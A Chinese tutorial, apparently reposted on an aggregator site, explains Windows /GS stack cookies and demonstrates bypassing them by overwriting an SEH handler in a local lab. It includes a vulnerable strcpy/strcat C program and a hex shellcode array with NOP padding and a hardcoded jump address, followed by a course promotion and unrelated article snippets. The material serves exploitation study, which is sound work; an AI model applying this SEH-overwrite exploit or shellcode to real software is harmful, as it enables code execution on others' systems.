当前位置: 首页 > news >正文

Windows保护机制GS:原理及SEH异常处理突破

前言

本次文章只用于技术讨论,学习,切勿用于非法用途,用于非法用途与本人无关!

所有环境均为本地环境分析,且在本机进行学习。

GS机制并没有对SEH提供保护,换句话说我们可以通过攻击程序的异常处理达到绕过GS的目的。我们首先通过超长字符串覆盖掉异常处理函数指针,然后想办法触发一个异常,程序就会转入异常处理,由于异常处理函数指针已经被我们覆盖,那么我们就可以通过劫持SEH来控制程序的后续流程。作者:rkabyss

一、 GS提供的保护作用

  1. 修改栈帧中函数返回地址的经典攻击将被 GS 机制有效遏制;

  2. 基于改写函数指针的攻击,如对 C++虚函数的攻击,GS 机制仍然很难防御;

  3. 针对异常处理机制的攻击,GS 很难防御;

  4. GS 是对栈帧的保护机制,因此很难防御堆溢出的攻击。

二、GS原理

Security
Cookie是由.data段中第一个DWORD进行异或,在程序运行时.data段第一个DWORD一般是随机的,很难去预测它,所以把他当成安全cookie去使用。

Security Cookie一般在进入到函数中后会放在下图当中位置,如果要淹没返回地址一定会先淹没到Security
Cookie,在执行到ret返回时程序会调用一个叫做check函数去检查有没有出现问题,Security
Cookie在生成时会在栈里和.data段中各存放一个安全cookie,在执行ret时check会对栈中和.data段中cookie进行比较,如果不一样就判断程序被破坏,说明栈发生了溢出。

1651661886_62725c3eb05f61d781fe2.png!small?1651661887335

为了增加Security Cookie随机性,会用.data段第一个DWORD与栈中EBP进行异或操作,当ret时调用check函数再将其异或回去。

1651661920_62725c601ee287b250d3b.png!small?1651661920818

在Security Cookie代码中写了如过没有超过四字节是不会启动安全cookie的,如果要启动只能通过#pragma
strict_gs_check(on)使其强制开启。其实这也是绕过的一种方法。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#pragma strict_gs_check(on)int vulfuntion(char* str)
{char arry[4];strcpy(arry, str);return 1;
}int main()
{char* str = "123123123123123123123123123";vultest(str);return 0;
}

因为他是带有符号的,直接跳转到main就可以找到主函数。

1651662011_62725cbb5af60c778a61e.png!small?1651662012071

看到Security Cookie生成的安全cookie放到了EAX寄存器中,为了增加安全cookie随机性,安全cookie又与EBP进行异或。

1651662020_62725cc4a533b6c3f0311.png!small?1651662021418

跳转到EBP可以看到,00F3F92C为EBP下边009AD71E为返回地址。

1651662029_62725ccd668ab4bde8d3b.png!small?1651662030158

将安全cookie放入到了EAX寄存器中。

1651662039_62725cd7866250b7f0ac6.png!small?1651662040320

安全cookie与EBP异或完将其放入到EBP-4位置,在堆栈中可以看到。

1651662049_62725ce1b5babb8fed989.png!small?1651662050516

通过上边代码可以看到copy的字符串远大于要传输的空间,所以造成了栈溢出,已将安全cookie、EBP、返回地址全部淹没。如果正常情况下已经可以进行利用,而有了安全cookie之后,在下方使用check函数进行了判断,判断异常直接飞掉。

1651662066_62725cf2aaa0761e9482b.png!small?1651662067445

在调用到check函数之前将安全cookie保存到了ECX中,前面为了增加随机性进行了异或,现在将其进行了恢复。

1651662077_62725cfd02a3763775129.png!small?1651662077795

三、SEH异常突破GS

函数test中存在典型的栈溢出漏洞。在strcpy操作后变量buf会被溢出,当字符串足够长的时候程序的SEH异常处理句柄也会被淹没。由于strcpy的溢出,覆盖了input的地址,会造成strcat从一个非法地址读取数据,这时会触发异常,程序转入异常处理,这样就可以在程序检查Security
Cookie前将程序流程劫持。

#include <stdafx.h>
#include <string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xA0\xFE\x12\x00"//address of shellcode
;void test(char * input)
{char buf[200];strcpy(buf,input);strcat(buf,input);
}void main()
{test(shellcode);	
}

根据release中32程序规则,主函数有三个参数,判断下方call为主函数。

1651662122_62725d2a29e5be4018ecb.png!small?1651662122871

进入到主函数看到call,其实就是test函数,直接进入到test函数当中去。

1651662132_62725d348d2aca745658d.png!small?1651662133279

可以看到整体逻辑如前面原理讲的一样,首先获取到安全cookie保存到EAX当中并与EBP进行异或,在结束时候又将其进行恢复。

1651662142_62725d3edd1443e2cf404.png!small?1651662143624

执行到strcpy函数位置观察栈空间,EBP-4位置为安全cookie,EBP+4为返回地址,EBP+8是参数。后面ESP+44为SE处理程序。

1651662154_62725d4a1fa671603e294.png!small?1651662154865

执行完strcpy函数,观察栈空间发现SE处理程序地址已经被覆盖为shellcode起始地址。

1651662163_62725d53cd3353853e04b.png!small?1651662164505

执行到strcat函数,观察到EBP+8位置已经被覆盖,EBP+8是源字符串,覆盖之后是一个不可访问地址。执行strcat函数会直接进行异常处理,因为源字符串为不可访问地址,而异常处理地址为shellcode起始地址。

1651662172_62725d5c5c04ac5a77e4b.png!small?1651662173040

触发异常处理,进入到shellcode当中,接下来会运行shellcode代码。

1651662180_62725d64b7fcc1c4aaff2.png!small?1651662181429

五、总结

现在很多程序都带有GS,在分析程序的时候发现了缺陷,却因为保护利用不了,先掌握一些突破GS方法,在之后遇到时能将其运用到,之后会对其他一些突破方法进行复现。

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

相关文章:

Windows保护机制GS:原理及SEH异常处理突破

前言 本次文章只用于技术讨论&#xff0c;学习&#xff0c;切勿用于非法用途&#xff0c;用于非法用途与本人无关&#xff01; 所有环境均为本地环境分析&#xff0c;且在本机进行学习。 GS机制并没有对SEH提供保护&#xff0c;换句话说我们可以通过攻击程序的异常处理达到绕…...

大彩 串口屏

资料下载 视频 屏幕程序创建 创建 主界面设置 实现按钮和文本的添加&#xff0c;实现画面的切换 下面注释4有点问题&#xff0c;切换画面还是会下传指令集&#xff0c;只是无法在软件中进行指令集的设置了 按钮界面 首先第一步同上添加背景图片&#xff0c;然后添加…...

安装 cplex 求解器

安装 cplex 求解器 安装 cplex 求解器和python-docplexcplex 安装matlab 用户安装 cplexpython 版本安装 cplex 求解器和python-docplex cplex 安装 cplex 是解决优化问题的一个工具箱&#xff0c;用来线性规划、混合整数规划和二次规划的高性能数学规划求解器。可以理解成&a…...

DPR-34 AC22V【双位置继电器】

系列型号&#xff1a; DPR-20双位置继电器&#xff1b;DPR-31双位置继电器&#xff1b; DPR-32双位置继电器&#xff1b;DPR-33双位置继电器&#xff1b; DPR-34双位置继电器&#xff1b;DPR-35双位置继电器&#xff1b; DPR-11双位置继电器&#xff1b;DPR-12双位置继电器&…...

Ubuntu16.04搭建Fabric1.4环境

一、换源 为了提高下载速度&#xff0c;将ubuntu的源改成国内的源&#xff08;推荐阿里云源和清华源&#xff09; apt源保存在 /etc/apt/sources.list / 代表根目录 /etc 这个文件夹几乎放置了系统的所有配置文件 1.备份 sudo cp /etc/apt/sources.list sources_backup.l…...

【JavaScript】深度剖析prototype与__proto__到底是什么以及他们的关系

一个对象的 __proto__ 指向的是这个对象的构造函数的 prototype。 prototype 是什么 prototype 是函数的属性&#xff0c;是一个继承自 Object 的对象&#xff0c;默认的 prototype 只有一个属性&#xff0c;其中包含 constructor&#xff0c;指向当前函数自身。 Ctor.proto…...

css选择器

目录1、基本选择器&#xff08;1&#xff09;id选择器&#xff08;2&#xff09;类选择器&#xff08;3&#xff09;标签选择器&#xff08;4&#xff09;逗号选择器&#xff08;5&#xff09;*选择器&#xff08;通配符选择器&#xff09;2、包含选择器&#xff08;1&#xff…...

MyBatis详解2——增删改查操作

一、SpringBoot单元测试 1.1什么是单元测试 单元测试是指对软件中的最小测试单元进行检查和验证的过程。 执行单元测试就是为了证明某段代码的执行结果是否符合我们的预期。如果测试通过则是符合预期&#xff0c;否则测试失败。 1.2单元测试的好处 1.单元测试不用启动Tomca…...

最大连续子列和

给定一个数组&#xff0c;求它的最大连续子列和。这个问题有四种解法。 1、暴力循环(O(n^3))分析这个问题&#xff0c;既然是子列&#xff0c;那么它最长为n&#xff0c;最短为1。要想求和我们一般需要知道这个子列的左端下标和右端下标&#xff0c;再求这个子列的和。最简单的…...

线性基 学习笔记

什么是线性基&#xff1f; 先来回顾一下向量空间中的基。这个基代表着空间的一个极大线性无关子集&#xff0c;组中向量线性无关&#xff0c;且空间中的任意一个向量都可以唯一地由基中的向量来表示 那么回到线性基&#xff0c;它其实就类似于是一个向量空间的基 我们考虑一…...

算法-回溯算法-组合问题

77. 组合https://leetcode.cn/problems/combinations/ 给定两个整数 n 和 k&#xff0c;返回范围 [1, n] 中所有可能的 k 个数的组合。 你可以按 任何顺序 返回答案。 示例 1&#xff1a; 输入&#xff1a;n 4, k 2 输出&#xff1a; [[2,4],[3,4],[2,3],[1,2],[1,3],[1,…...

ABAP中的Null值与space 以及 BW中ADSO的Key值

写出来怪丢人&#xff0c;到现在还没搞懂这个。 在BW中创建ADSO&#xff0c;定义Key字段。可以看到ADSO表的定义中&#xff0c;所有的Key和Data属性如下&#xff1a; 所有的key会有关键字key打头&#xff0c;所有字段都有not null. 但是并不是有个字段是blank空的就不能更新进…...

JavaScript库之Lodash常用方法

Lodash 中文文档https://www.lodashjs.com/docs/lodash.omit/以下总结了在项目中常用的方法&#xff0c;其他的慢慢更新语言&#xff1a;cloneDeep这个方法类似_.clone&#xff0c;除了它会递归拷贝 value。&#xff08;注&#xff1a;也叫深拷贝&#xff09;参数value (*): 要…...

Kotlin新手教程二(Kotlin基本数据类型及基础语法)

一、基本数据类型 1.数字 由于Kotlin支持类型推断&#xff0c;所以在使用时若超出Int的范围则会被认定为其它类型&#xff1b;若需要显式指定Long型值&#xff0c;则需要在值后添加L后缀。 2.浮点数 3.比较两个数&#xff08; 和 &#xff09; Kotlin 中没有基础数据类型&a…...

git idea创建新分支,获取/合并主支代码的2个方法

其他sql格式也在更新中&#xff0c;可直接查看这个系列&#xff0c;要是没有你需要的格式&#xff0c;可在评论或私信我 个人目录 获取主支代码的2个方法1&#xff0c;创建一个分支&#xff0c;获取主支的所有代码&#xff08;场景&#xff1a;我需要一个自己的分支进行编写模…...

CF1714A Everyone Loves to Sleep 题解

CF1714A Everyone Loves to Sleep 题解题目链接字面描述题面翻译题目描述输入格式输出格式样例解释题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1代码实现题目 链接 https://www.luogu.com.cn/problem/CF1714A 字面描述 题面翻译 题目描述 Vlad和其他人一样&am…...

oracle官方下载历史版本JDK版本

背景 日常工作中由于一些特殊原因&#xff0c;我们需要下载指定系统指定位数指定版本的jdk&#xff0c;这个时候去网上搜索下载就会遇到各种坑&#xff0c;病毒、诱导连接、诱导关注/注册、付费、错误版本等&#xff0c;所以最好的办法是去官网下载&#xff0c;下面列举两种方式…...

双击-jar包无法运行解决方法

我自己是通过探索出来的方法解决的&#xff0c;网上的方法适合普通问题 网络流传方法 那种-jar和run.bat的就是曲解了问题意思&#xff0c;问题不是如何运行&#xff0c;而是如何双击jar包就可以直接运行。 普通小问题就是修改注册表&#xff0c;将java路径写进去后面加个 %1…...

程序员的自我修养第七章——动态链接 (下)

接上一篇。 7.3 地址无关代码 对于现代机器来说&#xff0c;引入地址无关代码并不麻烦&#xff0c;我们展示下各种模型的地址引用方式&#xff1a; 1. 模块内部函数调用 2. 模块内部的数据访问&#xff0c;如全局变量、静态变量。 3. 模块外部的函数调用&#xff0c;跳转。 4.…...

蓝桥杯刷题——基础篇(二)

这部分题目&#xff0c;主要面向有志参加ACM与蓝桥杯竞赛的同学而准备的&#xff0c;蓝桥杯与ACM考察内容甚至评测标准基本都一样&#xff0c;因此本训练计划提供完整的刷题顺序&#xff0c;循序渐进&#xff0c;提高代码量&#xff0c;巩固基础。因竞赛支持C语言、C、Java甚至…...

PTA L1-049 天梯赛座位分配(详解)

前言&#xff1a;内容包括&#xff1a;题目&#xff0c;代码实现&#xff0c;大致思路&#xff0c;代码解读 题目&#xff1a; 天梯赛每年有大量参赛队员&#xff0c;要保证同一所学校的所有队员都不能相邻&#xff0c;分配座位就成为一件比较麻烦的事情。为此我们制定如下策…...

Linux部分参数作用讲解

♥️作者&#xff1a;小刘在C站 ♥️个人主页&#xff1a;小刘主页 ♥️每天分享云计算网络运维课堂笔记&#xff0c;努力不一定有收获&#xff0c;但一定会有收获加油&#xff01;一起努力&#xff0c;共赴美好人生&#xff01; ♥️夕阳下&#xff0c;是最美的绽放&#xff0…...

Java kafka

JAVA面试题--Kafka&#xff08;最新最全&#xff09; 目录概述需求&#xff1a;设计思路实现思路分析1.URL管理2.网页下载器3.爬虫调度器4.网页解析器5.数据处理器拓展实现性能参数测试&#xff1a;参考资料和推荐阅读)Survive by day and develop by night. talk for import b…...

DBA之路---Stream数据共享同步机制与配置方法

oracle的Stream解析–数据共享 在g版本常用&#xff0c;如果是c版本项目一般都会选择goldengate&#xff0c;比stream靠谱多了 Oracle中的stream是消息队列一种应用形式&#xff0c;原理如下&#xff1a; 收集oracle中的事件&#xff0c;将事件保存在队列里&#xff0c;然后将…...

CF1790E Vlad and a Pair of Numbers 题解

CF1790E Vlad and a Pair of Numbers 题解题目链接字面描述题面翻译题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1思路代码实现题目 链接 https://www.luogu.com.cn/problem/CF1790E 字面描述 题面翻译 共有 ttt 组数据。 每组数据你会得到一个正整数 xxx&…...

漏洞预警|Apache Kafka Connect JNDI注入漏洞

棱镜七彩安全预警 近日网上有关于开源项目Apache Kafka Connect JNDI注入漏洞&#xff0c;棱镜七彩威胁情报团队第一时间探测到&#xff0c;经分析研判&#xff0c;向全社会发起开源漏洞预警公告&#xff0c;提醒相关安全团队及时响应。 项目介绍 Karaf是Apache旗下的一个开…...

企业小程序开发步骤【教你创建小程序】

随着移动互联网的兴起&#xff0c;微信已经成为了很多企业和商家必备的平台&#xff0c;而其中&#xff0c;微信小程序是一个非常重要的工具。本文将为大家介绍小程序开发步骤&#xff0c;教你创建小程序。 步骤一、注册小程序账号 先准备一个小程序账号&#xff0c;在微信公…...

刚性电路板的特点及与柔性电路板的区别

打开市场上的任何一个电子产品&#xff0c;会发现里面都有一块或多块电路板。电路板是电子产品运行的核心&#xff0c;之前沐渥小编已经给大家介绍了柔性电路板&#xff0c;下面给大家介绍刚性电路板的基础知识。 刚性电路板俗称硬板&#xff0c;是由不容易变形的刚性基材制成的…...

扫码过磅+车牌识别,内蒙古蒙维过磅实现信息化管理

扫码过磅、车牌识别、对接SAP ERP系统设计思路&#xff1a; 无人值守系统升级改造包括车牌自动识别系统、信息化&#xff08;扫码等方式&#xff09;管理系统、智能自动控制系统等实现信息无纸化传递。远程监管地点设于公司东磅房&#xff0c;可以实现远程监测监控画面、称重过…...

蒙特卡洛计算圆周率

使用MC计算圆周率的小例子&#xff0c;使用python的numpy&#xff0c;matplotlib库import numpy as npimport matplotlib.pyplot as pltdef mc_calculate_pi(t):np.random.seed(t)rand_num np.random.rand(t)rand_num2 np.random.rand(t)l1 rand_num-0.5l2 rand_num2-0.5l0…...

大展建筑人才网/关键词排名优化易下拉霸屏

上面的命令可以帮助我们将命令的返回值输入到文件之中,这也就是重定向的作用. 其中: > 和 >> 的区别. >> 表示追加,>表示覆盖操作. 因此,我们一般更多的会使用>>来进行输出. 案例: 上面的命令就是将ll -al 查看 /etc文件下面的内容,然后将这个返回值输…...

自学做网站的/网页搭建

返璞归真&#xff0c;代码规范也是一门艺术 黄金定律 永远遵循同一套编码规范 -- 可以是这里列出的&#xff0c;也可以是你自己总结的。如果你发现本规范中有任何错误&#xff0c;敬请指正。通过open an issue on GitHub为本规范添加或贡献内容。 不管有多少人共同参与同一项目…...

大宁网站制作/源码网

认识DOM 文档对象模型DOM&#xff08;Document Object Model&#xff09;定义访问和处理HTML文档的标准方法。DOM 将HTML文档呈现为带有元素、属性和文本的树结构&#xff08;节点树&#xff09;。 先来看看下面代码: 将HTML代码分解为DOM节点层次图: HTML文档可以说由节点构…...

网站建设资源/昆山网站制作哪家好

编程实践中经常需要对文件的读写&#xff0c;本篇文章做一个文件追加写的模块。 使用FileWriter类 (1)使用的构造函数为&#xff08;参考JAVA API文档&#xff09;&#xff1a; public FileWriter(String fileName,boolean append) throws IOException (2)参数说明 fileName(St…...

中医医院网站建设需求/网络推广网站有哪些

prefab可无限apply&#xff1a; 如果把一个模块做成了prefab&#xff0c;这个prefab可能在同一个scene中添加多个&#xff0c;甚至添加到了多个scene中。设所有这些实例为instance(1),instance(2),...,instance(n)&#xff0c;那么我们应该保证对于任何一个instance(i)来说&…...

wordpress主题转换/目前网络推广平台

1. 剑指 Offer 22. 链表中倒数第k个节点 输入一个链表&#xff0c;输出该链表中倒数第k个节点。为了符合大多数人的习惯&#xff0c;本题从1开始计数&#xff0c;即链表的尾节点是倒数第1个节点。例如&#xff0c;一个链表有6个节点&#xff0c;从头节点开始&#xff0c;它们的…...